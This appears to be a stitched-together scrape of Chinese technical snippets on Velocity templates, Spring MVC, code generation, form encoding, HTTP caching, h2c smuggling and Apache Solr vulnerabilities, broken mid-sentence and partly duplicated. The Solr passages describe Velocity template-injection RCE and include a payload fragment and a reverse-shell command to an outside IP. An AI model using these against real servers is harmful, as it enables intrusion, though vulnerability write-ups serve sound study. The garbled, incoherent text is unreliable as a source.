本文档提供一些关于在web应用中使用Velocity的入门信息。 使用一个框架 原始的使用Velocity引擎的目标是根据模板生成文本。所以Velocity中本身并没有包含任何和web相关的功能。...创建一个dispatcher servlet, 从文件系统或者数据库中抽取模板,加入你的业务逻辑数据,然后把结果发送给用户。 在已有的框架基础上定制,常常可以让你更加的节约时间。...比如,在样式表中 @ 字符是需要被避免掉的,在 Javascript 字符串中单引号是该被避免掉的。...当 Velocity 被使用于一个web应用中时,当前路径常常在于应用服务的启动之处。...这归因于使用了置于你 classpath 中时的 Avalon Log Kit。典型的是, Velocity 用于一个web应用中,除了web页面生成的情况(比如:为了发送邮件)。
本文是我对自己学习过程的一个回顾,应该还有不少问题待改进,例如目录的设置、编码习惯和配置文件的处理等,请大家多多指正。...url-pattern>/ 3. usersDemo-servlet.xml DispatcherServlet需要咨询一个或者多个处理器映射器来决定要将请求发送给哪个控制器...启动web服务 配置maven的构建过程 在pom文件中要增加两个配置,第一个是打包格式;第二个是build生成文件的名称。...修改控制器代码 控制器的作用是根据请求调用BLL层提供的Service实例,当服务接口返回处理结果后,由控制器将模型对象和逻辑视图名称返回。...Java中最流行的单元测试框架是Junit,这里探讨如何在Junit的TestCase中自动注入Service实例。 首先在pom.xml中添加测试库支持,配置代码如下: <!
$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 原理 首先去分析第一个数据包,因为是对mycore的配置,所以我们先把断点打在处理配置请求的...在handlePOST中,先取出mycore的当前配置,再和我们发送的配置同时带进handleCommands函数,并在后续的操作中,最终进到addNamedPlugin函数,创建了一个VelocityResponseWriter...然后在发送第二个数据包的时候,在HttpSolrCall.call中获取responseWriter的时候,会根据参数wt的值去获取reponseWriter对象,当wt为velocity时,获取的就是我们精心配置过的...要了解这个template就需要了解一下Velocity Java 模板引擎(因为这个tmplate是org.apache.velocity.Template类对象),官方说法翻译一下如下, Velocity...它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象 从这个说法,就能看出这个模板引擎是具有执行java代码的功能的,我们只需了解一下它的基本写法, // 变量定义 #set($name
0X01 漏洞概述 Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。...原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。...请求即可RCE。...使用其中一个,即可获取cmdshell: ?...在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,报错,命令如下: bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1 但由于Runtime不能使用管道符等
漏洞影响版本 Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。...XXE漏洞 漏洞简述 Apache Solr是一个开源的搜索服务器。...CVE-2019-0193 远程命令执行漏洞 漏洞简述 漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。...,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。...当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行
作者:汤圆 个人博客:javalover.cc 前言 大家好啊,我是汤圆,今天给大家带来的是《SpringBoot中的自动代码生成 - 基于Mybatis-Plus》,希望对大家有帮助,谢谢 文章纯属原创...,另一个好消息是生成的代码也是有注释的(尤其是entity类的字段注解,很实用) 配置pom.xml velocity模板引擎,用于mybatis-plus代码生成器 --> org.apache.velocity 分割").split(",")); // 控制器的请求映射url风格:驼峰转连字符,比如"carList"->...,多好(字段的注释是根据数据库的注释来的) 在线代码生成 就是在第三方的网站,配置各种参数,点击生成就可以了,然后下载到本地 这种方法的好处是,前期不用太多配置,使用方便 缺点就是 需要在线配置一个小型的数据库
1、介绍enctype enctype 属性规定发送到服务器之前应该如何对表单数据进行编码。...每一个表单项分割为一个部件 text/plain 空格转换为 “+” 加号,但不对特殊字符编码。 1....这种请求体被称之为多部件请求体。 什么是多部件请求体:就是把每一个表单项分割为一个部件。...时,浏览器会把每个表单项进行分割,分割成不同的部件,以boundary的值为分割标识,这个标识的字符串是随机生成的,最后一个表单项的分割标识字符串末尾会多两个”- -“,代表结束。...服务端向客户端游览器发送文件时,如果是浏览器支持的文件类型,一般会默认使用浏览器打开,比如txt、jpg等,会直接在浏览器 中显示。
ps:由于昨天推文次数已经用完,所以没有即时推送,今天补上 0x00背景介绍 Apache Solr 是一个开源的搜索服务器。...Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员s00py在Github上公开了Apache Solr Velocity的服务端模板注入漏洞的...Apache Solr是默认集成了VelocityResponseWriter这个插件,插件的初始化过程中params.resource.loader.enabled,程序默认设置是false。...攻击者在可以访问Solr控制台时,可以通过发送/节点名称/config的POST请求的方式对该项配置进行更改,当该配置被更改为true时用户将被允许通过设置请求中的参数来指定加载相关的资源,攻击者可以通过此功能构造恶意请求...Solr集成的VelocityResponseWriter组件,可以允许攻击者构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,从而导致Velocity模版注入远程命令执行漏洞
当params.resource.loader.enabled 设置为 true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的 POST 请求,将 params.resource.loader.enabled...可以看到 solr 服务已经启动起来,默认端口为 8983。接下来我们使用浏览器访问 solr,此时没做任何配置是存在 solr 未授权访问的,所以只在浏览器新建一个 core。...Velocity 是一个基于 Java 的模板引擎框架,提供的模板语言可以使用在 Java 中定义的对象和变量上。...Velocity 是 Apache 基金会的项目,开发的目标是分离 MVC 模式中的持久化层和业务层。...3、自动 Email:很多软件的用户注册、密码提醒或者报表都是使用 Velocity 来自动生成的。使用 Velocity 可以在文本文件里面生成邮件内容,而不是在 Java 代码中拼接字符串。
0x00 前言 在一次外部渗透测试中,我偶然发现了一个可见的 Solr 管理面板。我专注于这个特定的应用程序来测试隐藏在下面的东西。...借助此启用的服务器端模板注入,使用 Velocity 语言的内置功能可以非常简单地执行代码。...然后,我从 Solr 官方网站下载了完全相同的版本,并开始在我的 Windows VM 中探索该应用程序。...在同一级别,还有一个名为 configsets 的默认目录,其中包含 Solr 核心示例及其所需文件。我很快发现可以使用此目录中存在的默认配置文件来创建虚拟核心。...我没有找到其他可能泄露 UUID 的地方,但由于服务器运行在 Windows 上,因此可以使用 Windows 短文件名的技巧: 在 Windows 上,文件可以有一个更简单的名称,由 6 个字母数字字符后跟一个平铺字符和一个数字组成
缓存 缓存会根据请求保存输出内容的副本,例如 页面、图片、文件,当下一个请求来到的时候:如果是相同的 URL,缓存直接使 用本地的副本响应访问请求,而不是向源服务器再次发送请求。...:31:12GMT ,如果发送请求的时间在 expires 之前,那么本地缓存始终有效,否则就会发送请求到服务器来获取资源。...需要使用缓存协商,先与服务器确认返回的响应是否被更改,如果之前的响应中存在 ETag ,那么请求的时候会与服务端验证,如果资源未被更改,则可以避免重新下载。...no-store: 直接禁止游览器缓存数据,每次用户请求该资源,都会向服务器发送一个请求,每次都会下载完整的资源。 public: 可以被所有的用户缓存,包括终端用户和 CDN 等中间代理服务器。...1、Last-Modified/If-Modified-Since 二者的值都是 GMT 格式的时间字符串,具体过程: 浏览器第一次跟服务器请求一个资源,服务器在返回这个资源的同时,在 respone
大家好,又见面了,我是你们的朋友全栈君。...测试账号申请 测号响应流程:客户端发送请求,微信服务器收到请求后,转发到开发者服务器上,处理完后在发送给微信服务器,在返回给客户端 1、打开微信公众平台,点击测试帐号申请。...可以看到自己的开发者ID 测试号中的url需要自己有服务器编写对应接口,点击提交微信会像url发送数据根据返回结果判断url是否配置成功;token为自己定义的字符串 最后在扫码添加自己微信为开发者...选择需要编写的模板即可 使用HBuilder X与微信开发者工具实现授权登陆功能 首先需要在HBuilder上导入项目模板,在设置安全中配置微信开发者工具的目录,然后点击运行到小程序模拟器,这样运行之后就会自动打开微信开发者工具...因为前端写的是一次性将code与用户信息全传过来,用户点击登陆后会跳转到授权页面,用户若点击拒绝那么用户信息将不会传过来,只有code,这时我的处理逻辑是判断有无用户信息,若没有不存如数据库,这里由于用户点击授权会有时间响应所以做了一个短暂的休眠处理
发送text格式的邮件 发送HTML格式的邮件 基于FreeMarker模板引擎发送邮件 基于Velocity模板引擎发送邮件 如何获取以及运行我的Demo Github地址:https://github.com...二 准备工作 既然要发送邮件,那么你首先要提供一个能在第三方软件上发送邮件功能的账号。在这里,我选择的网易邮箱账号。...我拿网易邮箱账号举例子,那么我们如何才能让你的邮箱账号可以利用第三方发送邮件(这里的第三方就是我们即将编写的程序)。...-- Velocity的配置文件 --> 三 开始编写工具类 我这里说是工具类,其实只是我自己做了简单的封装,实际项目使用的话,可能会需要根据需要简单修改一下...()方法中添加了一个boolean类型的变量type作为标志,如果为ture就表示发送html格式的邮件否则直接发送text格式的邮件。
0x00 简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。...当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行...(来自360CERT) 0x02 影响范围 Apache Solr 5.x - 8.2.0,存在config API版本 0x03 环境搭建 自行搭建: 使用vulhub中CVE-2019-0193的环境进行搭建...0x04 漏洞利用 利用前提:攻击者需要知道Solr服务中Core的名称才能执行攻击 ?...然后使用公开的exp发送请求 http://ip:8983/solr/test/select?
/2(或HTTP/3)是解决我们面临的请求走私问题的一个很有前途的解决方案,但对HTTP/1.1的支持不会很快消失,与此同时我们仍然会收到HTTP/1.1的更多惊喜 在这篇文章中,我演示了如何通过明文(..."h2"标识,这发生在我们发送第一个HTTP请求之前,然而HTTP/2也可以通过HTTP/1.1升级头启动,由字符串"h2c"标识,用于明文通信,下面是一个请求示例: GET / HTTP/1.1 Host...如果边缘代理正在执行TLS终止并且我在HTTP消息中发送h2c升级请求,后端服务器如何知道我们正在尝试通过TLS进行h2c升级?...cURL和其他HTTP/2客户端不允许您通过TLS执行h2c升级,因为这违反了规范,因此使用hyper-2HTTP2库我创建了一个自定义客户端来测试 概念演示 我配置了一个NGINX服务器,在端口443...h2c升级中请求的端点(/endpoint)的响应 使用HTTP/2多路复用,h2cSuggler发送对受限/标志的附加请求 不再监视TCP隧道中的通信的代理将请求转发到后端服务器 服务器使用标志进行响应
从年代来看,已是相当老的设计方法论了。它作为微服务重要的理论依据,如今又如“凤凰涅槃”一般,重新进入软件领域的视野。DDD的三大实施策略在具体微服务实践过程中,取二舍一。...事件处理 开发人员可能对于事件处理上相对陌生,我简单地介绍以下,Velocity 提"org.apache.velocity.app.event.EventHandler"接口,其中典型代表为:"org.apache.velocity.app.event.ReferenceInsertionEventHandler...配置灵活 也是Velocity显著特点,提供了大量灵活的配置项,方便开发人员设置,例如配置模板位置、字符编码等。...WebMVC 中的@RequestParam 用于获取请求参数,去取代Servlet API中的 javax.servlet.http.HttpServletRequest#getParameter(...,虽然不推荐一个应用中使用多套日志框架,可是现实情况不得不一并思考,比如有些二方jar包中存在的独立的日志处理。
,而非HTTP接口,它的请求报文就是一个Java对象。...大家都知道http协议接口的请求参数格式大多是json格式,但本文介绍的service服务的参数格式是对象。...因此,对于用例参数来说,service服务的自动化的实现要解决两个问题: 1.报文如何保存,以什么格式保存? 2.参数化如何实现?...代码实践 这个工具的实现,需要依赖Apache的velocity包。Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。...利用Velocity,电子邮件模板可以存储在一个文本文件,而不是直接嵌入到电子邮件生成器的Java代码中。 XML转化:Velocity提供一个Ant任务——Anakia。
1、介绍enctype enctype 属性规定发送到服务器之前应该如何对表单数据进行编码。...每一个表单项分割为一个部件 text/plain 空格转换为 “+” 加号,但不对特殊字符编码。 1....通过观察发现这个的请求体就发生了变化。这种请求体被称之为多部件请求体。 什么是多部件请求体:就是把每一个表单项分割为一个部件。...时,浏览器会把每个表单项进行分割,分割成不同的部件,以boundary的值为分割标识,这个标识的字符串是随机生成的,最后一个表单项的分割标识字符串末尾会多两个”- -“,代表结束。...服务端向客户端游览器发送文件时,如果是浏览器支持的文件类型,一般会默认使用浏览器打开,比如txt、jpg等,会直接在浏览器 中显示。
文件进行配置,因此我将其整理出来,并对其补充了注释,便于日常快速使用配置。...配置了Jackson的JsonInclude.Include枚举中的一个值。 spring.jackson.serialization-inclusion= # 格式化日期时使用的时区。...spring.velocity.expose-request-attributes = false #设置在与模板合并之前是否应将所有请求属性添加到模型中。...spring.rabbitmq.listener.prefetch = # 在单个请求中要处理的消息数。它应该大于或等于事务大小(如果使用)。...spring.git.properties= # 标准出口 # 模式,告诉聚合器如何从源存储库中的键。
-- velocity代码生成使用模板 --> org.apache.velocity velocity-engine-core...编写代码生成controller层为什么要使用分层结构呢?因为作为一个项目,我希望我代码生成后期是可以在前端界面操作的,这样可以为我们提供便捷的操作。...编写代码生成服务实现类实现类当然是一个业务最核心的部分,所以在实现类中,我们需要详细配置代码生成相关属性以及参数。...Freemarker引擎模板,默认的是Velocity引擎模板 .execute(); }}在服务实现类中,我们配置了全局配置、数据源配置、包配置和策略配置。...测试代码生成我们在气短业务中使用axios发送请求,比如:// 使用get方法直接带参数axios.get('http://localhost:8888/generator/java', { params